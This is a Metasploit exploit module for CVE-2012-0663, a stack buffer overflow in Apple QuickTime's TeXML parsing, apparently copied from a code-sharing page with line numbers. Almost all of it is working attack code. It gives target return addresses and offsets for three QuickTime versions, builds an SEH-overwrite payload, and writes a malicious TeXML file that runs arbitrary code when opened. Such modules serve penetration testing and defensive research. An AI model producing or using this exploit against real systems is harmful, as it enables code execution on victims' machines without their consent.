Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8

9
  include Msf::Exploit::FILEFORMAT
10
  include Msf::Exploit::Remote::Seh
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'           => 'Apple QuickTime TeXML Style Element Stack Buffer Overflow',
15
      'Description'    => %q{
16
          This module exploits a vulnerability found in Apple QuickTime. When handling
17
        a TeXML file, it is possible to trigger a stack-based buffer overflow, and then
18
        gain arbitrary code execution under the context of the user.  This is due to the
19
        QuickTime3GPP.gtx component not handling certain Style subfields properly, storing
20
        user-supplied data on the stack, which results the overflow.
21
      },
22
      'License'        => MSF_LICENSE,
23
      'Author'         =>
24
        [
25
          'Alexander Gavrun',  # Vulnerability Discovery
26
          'sinn3r',            # Metasploit Module
27
          'juan vazquez'       # Metasploit Module
28
        ],
29
      'References'     =>
30
        [
31
          [ 'OSVDB', '81934' ],
32
          [ 'CVE', '2012-0663' ],
33
          [ 'BID', '53571' ],
34
          [ 'ZDI', '12-107' ],
35
          [ 'URL', 'http://0x1byte.blogspot.com/2012/06/cve-2012-0663-and-cve-2012-0664-samples.html' ],
36
          [ 'URL', 'http://support.apple.com/kb/HT1222' ]
37
        ],
38
      'Payload'        =>
39
        {
40
          'DisableNops' => true,
41
          'BadChars'    => "\x00\x23\x25\x3c\x3e\x7d"
42
        },
43
      'Platform'       => 'win',
44
      'Targets'        =>
45
        [
46
          [ 'QuickTime 7.7.1 on Windows XP SP3',
47
            {
48
              'Ret' => 0x66f1bdf8, # POP ESI/POP EDI/RET from QuickTime.qts (7.71.80.42)
49
              'Offset' => 643,
50
              'Max' => 13508
51
            }
52
          ],
53
          [ 'QuickTime 7.7.0 on Windows XP SP3',
54
            {
55
              'Ret' => 0x66F1BD66, # PPR from QuickTime.qts (7.70.80.34)
56
              'Offset' => 643,
57
              'Max' => 13508
58
            }
59
          ],
60
          [ 'QuickTime 7.6.9 on Windows XP SP3',
61
            {
62
              'Ret' => 0x66801042, # PPR from QuickTime.qts (7.69.80.9)
63
              'Offset' => 643,
64
              'Max' => 13508
65
            }
66
          ],
67
        ],
68
      'Privileged'     => false,
69
      'DisclosureDate' => '2012-05-15'))
70

71
    register_options(
72
      [
73
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.xml']),
74
      ])
75
  end
76

77
  def exploit
78
    my_payload = rand_text(target['Offset'])
79
    my_payload << generate_seh_record(target.ret)
80
    my_payload << payload.encoded
81
    my_payload << rand_text(target['Max'] - my_payload.length)
82

83
    texml = <<-eos
84
    <?xml version="1.0"?>
85
    <?quicktime type="application/x-quicktime-texml"?>
86

87
    <text3GTrack trackWidth="176.0" trackHeight="60.0" layer="1"
88
      language="eng" timeScale="600"
89
      transform="matrix(1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 1, 0, 1.0)">
90
      <sample duration="2400" keyframe="true">
91

92
        <description format="tx3g" displayFlags="ScrollIn"
93
          horizontalJustification="Left"
94
          verticalJustification="Top"
95
          backgroundColor="0%, 0%, 0%, 100%">
96

97
          <defaultTextBox x="0" y="0" width="176"  height="60"/>
98
          <fontTable>
99
            <font id="1" name="Times"/>
100
          </fontTable>
101

102
          <sharedStyles>
103
          <style id="1">
104
            {font-table: 1} {font-size:  10}
105
            {font-style:normal}
106
            {font-weight: normal}
107
            {color: #{my_payload}%, 100%, 100%, 100%}
108
          </style>
109
          </sharedStyles>
110
        </description>
111

112
        <sampleData scrollDelay="200"
113
          highlightColor="25%, 45%, 65%, 100%"
114
          targetEncoding="utf8">
115

116
          <textBox x="10" y="10" width="156"  height="40"/>
117
            <text styleID="1">What you need... Metasploit!</text>
118
            <highlight startMarker="1" endMarker="2"/>
119
            <blink startMarker="3" endMarker="4"/>
120
        </sampleData>
121
      </sample>
122
    </text3GTrack>
123
    eos
124

125
    texml = texml.gsub(/^ {4}/,'')
126

127
    print_status("Creating '#{datastore['FILENAME']}'.")
128
    file_create(texml)
129
  end
130
end
131

132